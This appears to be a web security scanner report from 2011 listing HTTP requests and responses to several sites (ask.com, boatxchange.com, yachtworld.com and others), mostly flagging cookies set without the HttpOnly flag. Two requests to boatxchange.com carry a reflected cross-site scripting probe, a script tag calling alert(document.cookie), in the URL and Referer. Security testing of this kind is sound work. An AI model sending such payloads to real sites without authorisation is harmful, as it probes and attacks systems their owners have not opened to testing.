GET /?o=0&l=dir HTTP/1.1 Host: www.ask.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /about HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /about/legal/privacy HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /about/legal/terms HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /advertise HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ans?qsrc=&o=0&l=dir&q=regulator+boat HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /answers HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /answers/000/Notification HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /homepage?q=&o=0&l=dir&page=1 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pictures?qsrc=167&o=0&l=dir&q=regulator+boat&v=14 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pictureslanding HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /questionoftheday HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /settings HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /skins HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /web?q=Which+American+Idol+has+sold+the+most+albums%3F&gc=1&qsrc=3045&o=0&l=dir&qqa=Chris+Daughtry HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /webadvanced HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /openx/www/delivery/ajs.php?zoneid=1&cb=33609814871&loc=http%3A//www.boatxchange.com/pboats/browse/Makeff2dc%253Cscript%253Ealert%28document.cookie%29%253C/script%253E051e6b7c2ed/Regulator/search.html&referer=http%3A//burp/show/10 HTTP/1.1 Host: www.boatxchange.com Proxy-Connection: keep-alive Referer: http://www.boatxchange.com/pboats/browse/Makeff2dc%3Cscript%3Ealert(document.cookie)%3C/script%3E051e6b7c2ed/Regulator/search.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /openx/www/delivery/lg.php?bannerid=10&campaignid=4&zoneid=1&loc=http%3A%2F%2Fwww.boatxchange.com%2Fpboats%2Fbrowse%2FMakeff2dc%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E051e6b7c2ed%2FRegulator%2Fsearch.html&referer=http%3A%2F%2Fburp%2Fshow%2F10&cb=1debb9b59d HTTP/1.1 Host: www.boatxchange.com Proxy-Connection: keep-alive Referer: http://www.boatxchange.com/pboats/browse/Makeff2dc%3Cscript%3Ealert(document.cookie)%3C/script%3E051e6b7c2ed/Regulator/search.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=c987d5934c96c4c513b290cbc2613f56
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /forums/showthread.php?t=39177&highlight=smooth HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
bblastvisit=1296157791; expires=Fri, 27 Jan 2012 19:49:51 GMT; path=/; domain=.reel-time.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /forum/showthread.php HTTP/1.1 Host: www.reel-time.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- BEGIN TEMPLATE: STANDARD_ERROR -->
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.4.10.1296155835; s_pers=%20s_nr%3D1296155886782%7C1298747886782%3B%20s_lv%3D1296155886784%7C1390763886784%3B%20s_lv_s%3DFirst%2520Visit%7C1296157686784%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:18:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: yw_locale2=en_US; path=/; expires=Tue, 14-Feb-2079 22:32:55 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 61431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2004/Regulator-32-Fs-1930392/Toms-River/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:06 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 16:08:22 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:59:06 GMT Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F